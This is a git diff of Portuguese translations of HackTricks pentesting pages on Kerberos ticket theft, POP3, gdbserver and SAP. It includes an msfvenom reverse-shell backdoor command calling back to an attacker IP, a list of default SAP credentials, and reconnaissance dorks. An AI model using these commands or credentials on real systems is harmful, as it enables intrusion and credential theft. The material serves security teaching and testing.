Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -285,10 +285,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,8 +4,8 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
@ -20,12 +20,12 @@ Os sistemas Linux armazenam credenciais em três tipos de caches, a saber **Arqu
|
|||
O artigo de 2017, [**Roubo de Credenciais Kerberos (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), descreve métodos para extrair credenciais de keyrings e processos, enfatizando o mecanismo de keyring do kernel Linux para gerenciar e armazenar chaves.
|
||||
|
||||
#### Visão Geral da Extração de Keyring
|
||||
A chamada de sistema **keyctl**, introduzida na versão do kernel 2.6.10, permite que aplicativos de espaço de usuário interajam com keyrings do kernel. As credenciais nos keyrings são armazenadas como componentes (principal padrão e credenciais), distintas dos ccaches de arquivo que também incluem um cabeçalho. O script **hercules.sh** do artigo demonstra a extração e reconstrução desses componentes em um arquivo ccache utilizável para roubo de credenciais.
|
||||
A chamada de sistema **keyctl**, introduzida na versão do kernel 2.6.10, permite que aplicativos de espaço de usuário interajam com keyrings do kernel. As credenciais em keyrings são armazenadas como componentes (principal padrão e credenciais), distintas dos ccaches de arquivo que também incluem um cabeçalho. O script **hercules.sh** do artigo demonstra a extração e reconstrução desses componentes em um arquivo ccache utilizável para roubo de credenciais.
|
||||
|
||||
#### Ferramenta de Extração de Tickets: Tickey
|
||||
Baseando-se nos princípios do script **hercules.sh**, a ferramenta [**tickey**](https://github.com/TarlogicSecurity/tickey) é especificamente projetada para extrair tickets de keyrings, executada via `/tmp/tickey -i`.
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
|
||||
|
||||
|
@ -35,8 +35,8 @@ Baseando-se nos princípios do script **hercules.sh**, a ferramenta [**tickey**]
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
@ -44,5 +44,5 @@ Rubeus é uma ferramenta especificamente desenvolvida para interação e manipul
|
|||
```
|
||||
Ao usar esses comandos, certifique-se de substituir os espaços reservados como `<BASE64_TICKET>` e `<luid>` pelo ticket codificado em Base64 e pelo ID de Logon reais, respectivamente. Essas ferramentas fornecem funcionalidades extensas para gerenciar tickets e interagir com os mecanismos de segurança do Windows.
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
* **[https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
|
|||
|
||||
## Informações Básicas
|
||||
|
||||
**Protocolo de Correio** (**POP**) é um tipo de protocolo padrão de computação em rede e Internet que extrai e recupera e-mails de um servidor de correio remoto para acesso pela máquina host. **POP** é um protocolo de camada de aplicação no modelo OSI que fornece aos usuários finais a capacidade de buscar e receber e-mails (de [aqui](https://www.techopedia.com/definition/5383/post-office-protocol-pop)).
|
||||
**Protocolo de Correio** (**POP**) é um tipo de **protocolo** padrão de computação em rede e Internet que extrai e recupera e-mails de um servidor de correio remoto para acesso pela máquina host. **POP** é um **protocolo** de camada de aplicação no modelo OSI que fornece aos usuários finais a capacidade de buscar e receber e-mails (de [aqui](https://www.techopedia.com/definition/5383/post-office-protocol-pop)).
|
||||
|
||||
Os clientes POP geralmente se conectam, recuperam todas as mensagens, as armazenam no sistema do cliente e as excluem do servidor. Existem 3 versões do POP, mas o POP3 é o mais utilizado.
|
||||
|
||||
|
@ -33,7 +33,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
## Enumeração
|
||||
|
||||
### Banner Grabbing
|
||||
### Captura de Banner
|
||||
```bash
|
||||
nc -nv <IP> 110
|
||||
openssl s_client -connect <IP>:995 -crlf -quiet
|
||||
|
@ -99,7 +99,7 @@ De [https://academy.hackthebox.com/module/112/section/1073](https://academy.hack
|
|||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Ativa todos os registros de depuração de autenticação. |
|
||||
| `auth_debug_passwords` | Esta configuração ajusta a verbosidade do registro, as senhas enviadas e o esquema são registrados. |
|
||||
| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. |
|
||||
| `auth_verbose` | Registra tentativas de autenticação malsucedidas e suas razões. |
|
||||
| `auth_verbose_passwords` | As senhas usadas para autenticação são registradas e também podem ser truncadas. |
|
||||
| `auth_anonymous_username` | Especifica o nome de usuário a ser usado ao fazer login com o mecanismo SASL ANÔNIMO. |
|
||||
|
||||
|
@ -158,7 +158,7 @@ Encontre vulnerabilidades que importam mais para que você possa corrigi-las mai
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Teste de Penetração no GdbServer Remoto
|
||||
# Teste de invasão do GdbServer Remoto
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
@ -16,21 +16,21 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de invasão**. Execute um teste de invasão completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos testadores de invasão - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
**gdbserver** é um programa de computador que possibilita a depuração remota de outros programas. Executando no mesmo sistema que o programa a ser depurado, ele permite que o **GNU Debugger se conecte a partir de outro sistema**; ou seja, apenas o executável a ser depurado precisa estar presente no sistema de destino ("alvo"), enquanto o código-fonte e uma cópia do arquivo binário a ser depurado residem no computador local do desenvolvedor ("host"). A conexão pode ser TCP ou uma linha serial.
|
||||
**gdbserver** é uma ferramenta que permite a depuração de programas remotamente. Ele é executado ao lado do programa que precisa de depuração no mesmo sistema, conhecido como "alvo". Essa configuração permite que o **GNU Debugger** se conecte de uma máquina diferente, o "host", onde o código-fonte e uma cópia binária do programa depurado estão armazenados. A conexão entre o **gdbserver** e o depurador pode ser feita por TCP ou por uma linha serial, permitindo configurações de depuração versáteis.
|
||||
|
||||
Você pode fazer um **gdbserver escutar em qualquer porta** e no momento **o nmap não é capaz de reconhecer o serviço**.
|
||||
Você pode fazer um **gdbserver ouvir em qualquer porta** e no momento **o nmap não é capaz de reconhecer o serviço**.
|
||||
|
||||
## Exploração
|
||||
|
||||
### Upload e Execução
|
||||
|
||||
Você pode facilmente criar uma **porta dos fundos elf com msfvenom**, fazer upload e executá-la:
|
||||
Você pode facilmente criar um **backdoor elf com msfvenom**, fazer upload e executá-lo:
|
||||
```bash
|
||||
# Trick shared by @B1n4rySh4d0w
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
||||
|
@ -211,6 +211,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,39 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Introdução sobre SAP
|
||||
|
||||
SAP significa Systems Applications and Products in Data Processing. SAP, por definição, também é o nome do software ERP \(Enterprise Resource Planning\) assim como o nome da empresa.
|
||||
O sistema SAP consiste em uma série de módulos totalmente integrados, que cobrem praticamente todos os aspectos da gestão empresarial.
|
||||
SAP significa Sistemas, Aplicações e Produtos em Processamento de Dados. SAP, por definição, é também o nome do software ERP \(Enterprise Resource Planning\) bem como o nome da empresa.
|
||||
O sistema SAP consiste em vários módulos totalmente integrados, que cobrem virtualmente todos os aspectos da gestão empresarial.
|
||||
|
||||
Cada instância SAP \(ou SID\) é composta por três camadas: banco de dados, aplicação e apresentação\), cada paisagem geralmente consiste em quatro instâncias: dev, teste, QA e produção.
|
||||
Cada uma das camadas pode ser explorada até certo ponto, mas o maior efeito pode ser obtido **atacando o banco de dados**.
|
||||
Cada instância SAP \(ou SID\) é composta por três camadas: banco de dados, aplicação e apresentação\), cada paisagem geralmente consiste em quatro instâncias: desenvolvimento, teste, QA e produção.
|
||||
Cada uma das camadas pode ser explorada até certo ponto, mas a maioria dos efeitos pode ser obtida **atacando o banco de dados**.
|
||||
|
||||
Cada instância SAP é dividida em clientes. Cada um tem um usuário SAP\*, o equivalente da aplicação para “root”.
|
||||
Na criação inicial, esse usuário SAP\* recebe uma senha padrão: “060719992” \(mais senhas padrão abaixo\).
|
||||
Você ficaria surpreso se soubesse com que frequência essas **senhas não são alteradas em ambientes de teste ou dev**!
|
||||
Cada instância SAP é dividida em clientes. Cada um tem um usuário SAP\*, o equivalente do aplicativo ao “root”.
|
||||
Após a criação inicial, este usuário SAP\* recebe uma senha padrão: “060719992” \(mais senhas padrão abaixo\).
|
||||
Você ficaria surpreso se soubesse com que frequência essas **senhas não são alteradas em ambientes de teste ou desenvolvimento**!
|
||||
|
||||
Tente obter acesso ao shell de qualquer servidor usando o nome de usuário <SID>adm.
|
||||
Força bruta pode ajudar, no entanto, pode haver mecanismo de bloqueio de conta.
|
||||
A força bruta pode ajudar, no entanto pode haver um mecanismo de Bloqueio de Conta.
|
||||
|
||||
# Descoberta
|
||||
|
||||
> A próxima seção é principalmente de [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) do usuário shipcod3!
|
||||
> A próxima seção é principalmente do [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) do usuário shipcod3!
|
||||
|
||||
* Verifique o Escopo da Aplicação ou o Resumo do Programa para testes. Anote os nomes dos hosts ou instâncias do sistema para conectar ao SAP GUI.
|
||||
* Use OSINT \(inteligência de fontes abertas\), Shodan e Google Dorks para verificar arquivos, subdomínios e informações valiosas se a aplicação estiver voltada para a Internet ou for pública:
|
||||
* Verifique o Escopo da Aplicação ou Resumo do Programa para teste. Anote os nomes de host ou instâncias do sistema para se conectar ao SAP GUI.
|
||||
* Use OSINT \(inteligência de fontes abertas\), Shodan e Google Dorks para verificar arquivos, subdomínios e informações valiosas se a aplicação estiver exposta à Internet ou for pública:
|
||||
```text
|
||||
inurl:50000/irj/portal
|
||||
inurl:IciEventService/IciEventConf
|
||||
|
@ -43,13 +43,13 @@ https://www.shodan.io/search?query=sap+portal
|
|||
https://www.shodan.io/search?query=SAP+Netweaver
|
||||
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
||||
```
|
||||
* Aqui está a aparência de [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
|
||||
* Aqui está como [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) se parece
|
||||
|
||||
![Tela de Login SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||||
![Tela de Logon do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
||||
|
||||
* Use o nmap para verificar portas abertas e serviços conhecidos \(sap routers, webdynpro, web services, servidores web, etc.\)
|
||||
* Explore as URLs se houver um servidor web em execução.
|
||||
* Fuzz os diretórios \(você pode usar o Burp Intruder\) se tiver servidores web em certas portas. Aqui estão algumas boas listas de palavras fornecidas pelo Projeto SecLists para encontrar caminhos ICM SAP padrão e outros diretórios ou arquivos interessantes:
|
||||
* Use o nmap para verificar as portas abertas e os serviços conhecidos \(roteadores sap, webdynpro, serviços web, servidores web, etc.\)
|
||||
* Rastreie os URLs se houver um servidor web em execução.
|
||||
* Fuzz os diretórios \(você pode usar o Burp Intruder\) se tiver servidores web em determinadas portas. Aqui estão algumas boas listas de palavras fornecidas pelo Projeto SecLists para encontrar Caminhos SAP ICM padrão e outros diretórios ou arquivos interessantes:
|
||||
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
||||
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
||||
|
@ -75,9 +75,9 @@ msf auxiliary(sap_service_discovery) > run
|
|||
## Testando o Cliente Pesado / SAP GUI
|
||||
|
||||
Aqui está o comando para se conectar ao SAP GUI
|
||||
`sapgui <sap server hostname> <system number>`
|
||||
`sapgui <nome do servidor SAP> <número do sistema>`
|
||||
|
||||
* Verifique as credenciais padrão \(Na Taxonomia de Classificação de Vulnerabilidades da Bugcrowd, isso é considerado como P1 -> Configuração de Segurança do Servidor \| Uso de Credenciais Padrão \| Servidor de Produção\):
|
||||
* Verificar credenciais padrão \(Na Taxonomia de Classificação de Vulnerabilidades da Bugcrowd, isso é considerado como P1 -> Configuração de Segurança do Servidor \| Usando Credenciais Padrão \| Servidor de Produção\):
|
||||
```text
|
||||
# SAP* - High privileges - Hardcoded kernel user
|
||||
SAP*:06071992:*
|
||||
|
@ -128,34 +128,34 @@ SAP*:Down1oad:000,001
|
|||
DEVELOPER:Down1oad:001
|
||||
BWDEVELOPER:Down1oad:001
|
||||
```
|
||||
* Execute o Wireshark e autentique-se no cliente \(SAP GUI\) usando as credenciais que você obteve, pois alguns clientes transmitem credenciais sem SSL. Existem dois plugins conhecidos para o Wireshark que podem dissecar os principais cabeçalhos usados pelo protocolo SAP DIAG também: plug-in de dissecção da SecureAuth Labs para SAP e plugin SAP DIAG do Positive Research Center.
|
||||
* Verifique possíveis escalonamentos de privilégios como o uso de alguns Códigos de Transação SAP \(tcodes\) para usuários de baixo privilégio:
|
||||
* SU01 - Para criar e manter os usuários
|
||||
* SU01D - Para exibir usuários
|
||||
* SU10 - Para manutenção em massa
|
||||
* SU02 - Para criação manual de perfis
|
||||
* SM19 - Auditoria de segurança - configuração
|
||||
* SE84 - Sistema de Informação para Autorizações SAP R/3
|
||||
* Verifique se você pode executar comandos do sistema / rodar scripts no cliente.
|
||||
* Verifique se você pode realizar XSS no BAPI Explorer
|
||||
* Execute o Wireshark e autentique-se no cliente \(SAP GUI\) usando as credenciais obtidas, pois alguns clientes transmitem credenciais sem SSL. Existem dois plugins conhecidos para o Wireshark que podem analisar os cabeçalhos principais usados pelo protocolo SAP DIAG também: o plug-in de análise SAP da SecureAuth Labs e o plug-in SAP DIAG do Positive Research Center.
|
||||
* Verifique escalonamentos de privilégios, como o uso de alguns Códigos de Transação SAP \(tcodes\) para usuários de baixo privilégio:
|
||||
* SU01 - Para criar e manter usuários
|
||||
* SU01D - Para exibir usuários
|
||||
* SU10 - Para manutenção em massa
|
||||
* SU02 - Para criação manual de perfis
|
||||
* SM19 - Auditoria de segurança - configuração
|
||||
* SE84 - Sistema de Informação para Autorizações SAP R/3
|
||||
* Verifique se é possível executar comandos de sistema / executar scripts no cliente.
|
||||
* Verifique se é possível realizar XSS no BAPI Explorer
|
||||
|
||||
# Testando a interface web
|
||||
|
||||
* Rastreie as URLs \(veja a fase de descoberta\).
|
||||
* Fuzz as URLs como na fase de descoberta. Aqui está como a [http://SAP:50000/index.html](http://sap:50000/index.html) se parece:
|
||||
* Rastreie os URLs \(veja a fase de descoberta\).
|
||||
* Faça fuzz nos URLs como na fase de descoberta. Veja como [http://SAP:50000/index.html](http://sap:50000/index.html) se parece:
|
||||
|
||||
![Página Inicial SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
![Página Inicial do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
||||
|
||||
* Procure por vulnerabilidades web comuns \(Consulte OWASP Top 10\) porque existem vulnerabilidades XSS, RCE, XXE, etc. em alguns lugares.
|
